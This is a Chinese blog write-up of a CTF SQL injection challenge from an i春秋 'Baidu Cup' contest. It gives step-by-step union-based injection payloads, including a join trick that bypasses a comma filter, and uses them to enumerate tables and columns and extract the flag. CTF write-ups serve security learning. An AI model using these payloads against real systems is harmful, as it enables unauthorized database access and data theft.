

i春秋之SQLi--“百度杯”CTF比赛 九月场

原创

金鼎 已于 2022-04-04 19:13:02 修改 629 收藏

分类专栏: 春秋之WEB 文章标签: CTF 春秋

于 2022-04-04 19:12:18 首次发布

版权声明: 本文为博主原创文章, 遵循CC 4.0 BY-SA 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/l2872253606/article/details/123958132>

版权



[春秋之WEB 专栏收录该内容](#)

9篇文章 1订阅

订阅专栏

打开连接



发现网页重定向了, 用火狐按F12, 浏览一下起始页面index.php

状态	方法	域名	文件	发起者	类型	传输	大小
200	GET	eci-2zedtmwhcv8ic...	b68a89d1c4a097a9d8631b3ac45e8979.php	document	html	337 字节	98 字节
200	GET	eci-2zedtmwhcv8ic...	b68a89d1c4a097a9d8631b3ac45e8979.php	document	html	326 字节	98 字节
404	GET	eci-2zedtmwhcv8ic...	favicon.ico	FaviconLoader.js...	html	已缓存	321 字节

发现有提示, login.php?id=1, 不多废话进去看看

← → ⌂ ⌂ eci-2zedtmwhcv8ic5wf3vm8.cloudeci1.ichunqiu.com/l0gin.php?id=1

CTF CTF工具

id	username
1	flag

查看器 控制台 调试器 网络 样式编辑器 性能 内存 存储 无障碍环境 应用程序 HackBar

Encryption Encoding SQL XSS LFI XXE Other

Load URL http://eci-2zedtmwhcv8ic5wf3vm8.cloudeci1.ichunqiu.com/l0gin.php?id=1

Split URL Execute

Post data Referer User Agent Cookies Clear All

果然有东西，先看一下字段，构建payload

l0gin.php?id=1' order by 1--+

← → ⌂ ⌂ eci-2zedtmwhcv8ic5wf3vm8.cloudeci1.ichunqiu.com/l0gin.php?id=1' order by 1--+

CTF CTF工具

id	username
1' order by 1--	

查看器 控制台 调试器 网络 样式编辑器 性能 内存 存储 无障碍环境 应用程序 HackBar

Encryption Encoding SQL XSS LFI XXE Other

Load URL http://eci-2zedtmwhcv8ic5wf3vm8.cloudeci1.ichunqiu.com/l0gin.php?id=1' order by 1--+

Split URL Execute

Post data Referer User Agent Cookies Clear All

显示不正常，换了好多个闭合号，试了许多遍都是一样，发现好像是注释符出现了问题，把原有的--+换成了---

The screenshot shows a browser window with a login form. The URL in the address bar is `http://eci-2zedtmwhcv8ic5wf3vm8.cloudc1.ichunqiu.com/l0gin.php?id=1' order by 1-- -`. The form has three fields: `id`, `username`, and `flag`. The `id` field contains the value `1`.

这下终于正常了，当order by 3的时候页面就不正常，由此可见字段数为2，接着用联合查询，构建payload

The screenshot shows a browser window with a login form. The URL in the address bar is `http://eci-2zedtmwhcv8ic5wf3vm8.cloudc1.ichunqiu.com/l0gin.php?id=1' union select 1,2---`. The form has three fields: `id`, `username`, and `flag`. The `id` field contains the value `1' union select 1`.

The screenshot shows a browser window with a login form. The URL in the address bar is `http://eci-2zedtmwhcv8ic5wf3vm8.cloudc1.ichunqiu.com/l0gin.php?id=1' union select 1,2--`. The form has three fields: `id`, `username`, and `flag`. The `id` field contains the value `1' union select 1`.

啊这，又不正常了，试了许多遍，发现逗号被过滤掉了，直接去看别人的WP，发现

union select 1,2

可以替换成

union select * from (select 1) a join (select 2) b

接着我们构建payload试试看

The screenshot shows a browser window with the URL `http://eci-2zedtmwhcv8ic5wf3vm8.cloudc1.ichunqiu.com/l0gin.php?id=-1' union select * from (select 1) a join (select 2) b--`. Below the URL bar, there are two input fields: 'id' and 'username'. The 'id' field contains '1' and the 'username' field contains '2'. The browser's address bar also displays the same URL.

Below the browser window is a tool interface with various tabs like '查看器', '控制台', '调试器', '网络', '样式编辑器', '性能', '内存', '存储', '无障碍环境', '应用程序', and 'HackBar'. The 'HackBar' tab is selected. Under 'HackBar', there are dropdown menus for 'Encryption', 'Encoding', 'SQL', 'XSS', 'LFI', 'XXE', and 'Other'. A text input field contains the URL with the payload. Below the URL input are buttons for 'Load URL', 'Split URL', and 'Execute'. There are also checkboxes for 'Post data', 'Referer', 'User Agent', 'Cookies', and 'Clear All'.

看见回显了，接着爆表，构建payload

```
l0gin.php?id=-1' union select * from (select 1) a join (select group_concat(table_name) from information_schema.tables where table_schema = database()) b-- -
```

The screenshot shows a browser window with the URL `http://eci-2zedtmwhcv8ic5wf3vm8.cloudc1.ichunqiu.com/l0gin.php?id=-1' union select * from (select 1) a join (select group_concat(table_name) from information_schema.tables where table_schema = database()) b-- -`. Below the URL bar, there are two input fields: 'id' and 'username'. The 'id' field contains '1' and the 'username' field contains 'users'. The browser's address bar also displays the same URL.

Below the browser window is a tool interface with various tabs like '查看器', '控制台', '调试器', '网络', '样式编辑器', '性能', '内存', '存储', '无障碍环境', '应用程序', and 'HackBar'. The 'HackBar' tab is selected. Under 'HackBar', there are dropdown menus for 'Encryption', 'Encoding', 'SQL', 'XSS', 'LFI', 'XXE', and 'Other'. A text input field contains the URL with the payload. Below the URL input are buttons for 'Load URL', 'Split URL', and 'Execute'. There are also checkboxes for 'Post data', 'Referer', 'User Agent', 'Cookies', and 'Clear All'. On the right side of the interface, there are network speed indicators showing '0.0 KB/s' and '7.9 KB/s'.

The screenshot shows a browser window with the URL `http://eci-2zedtmwhcv8ic5wf3vm8.cloudc1.ichunqiu.com/l0gin.php?id=-1' union select * from (select 1) a join (select group_concat(column_name) from information_schema.columns where table_name = 'users') b-- -`. Below the URL bar, there are two input fields: 'id' and 'username'. The 'id' field contains '1' and the 'username' field contains 'users'. The browser's address bar also displays the same URL.

Below the browser window is a tool interface with various tabs like '查看器', '控制台', '调试器', '网络', '样式编辑器', '性能', '内存', '存储', '无障碍环境', '应用程序', and 'HackBar'. The 'HackBar' tab is selected. Under 'HackBar', there are dropdown menus for 'Encryption', 'Encoding', 'SQL', 'XSS', 'LFI', 'XXE', and 'Other'. A text input field contains the URL with the payload. Below the URL input are buttons for 'Load URL', 'Split URL', and 'Execute'. There are also checkboxes for 'Post data', 'Referer', 'User Agent', 'Cookies', and 'Clear All'.

继续爆字段，构建payload

```
l0gin.php?id=-1' union select * from (select 1) a join (select group_concat(column_name) from information_schema.columns where table_name = 'users') b-- -
```

The screenshot shows a browser window with the URL `http://eci-2zedtmwhcv8ic5wf3vm8.cloudc1.ichunqiu.com/l0gin.php?id=-1' union select * from (select 1) a join (select group_concat(column_name) from information_schema.columns where table_name = 'users') b-- -`. The page displays a table with columns `id` and `username`. The first row contains the value `1|id,username,flag_9c861b688330`. A network status bar at the bottom right indicates upload speed at 0.2 KB/s and download speed at 52.1 KB/s.

The screenshot shows the HackBar interface of a penetration testing tool. The URL field contains the same SQL injection payload as the previous screenshot. The menu bar includes options like 查看器 (Viewer), 控制台 (Console), 调试器 (Debugger), 性能 (Performance), 存储 (Storage), 无障碍环境 (Accessibility), 应用程序 (Applications), and Help. The toolbar below includes buttons for Load URL, Split URL, and Execute.

明显哪里有flag个，接着爆一下字段内容，构建payload

The screenshot shows a terminal or exploit builder window with the payload `l0gin.php?id=-1' union select * from (select 1) a join (select group_concat(flag_9c861b688330) from users) b-- -`.

The screenshot shows a browser window with the same URL and payload as before. The table now shows a single row with the value `1|flag{f7e944bc-e665-477a-af50-5bcd5e75f93},test`.

The screenshot shows the HackBar interface again. The URL field contains the payload. The menu bar and toolbar are identical to the previous screenshot. The bottom toolbar includes buttons for Post data, Referer, User Agent, Cookies, and Clear All.

拿到flag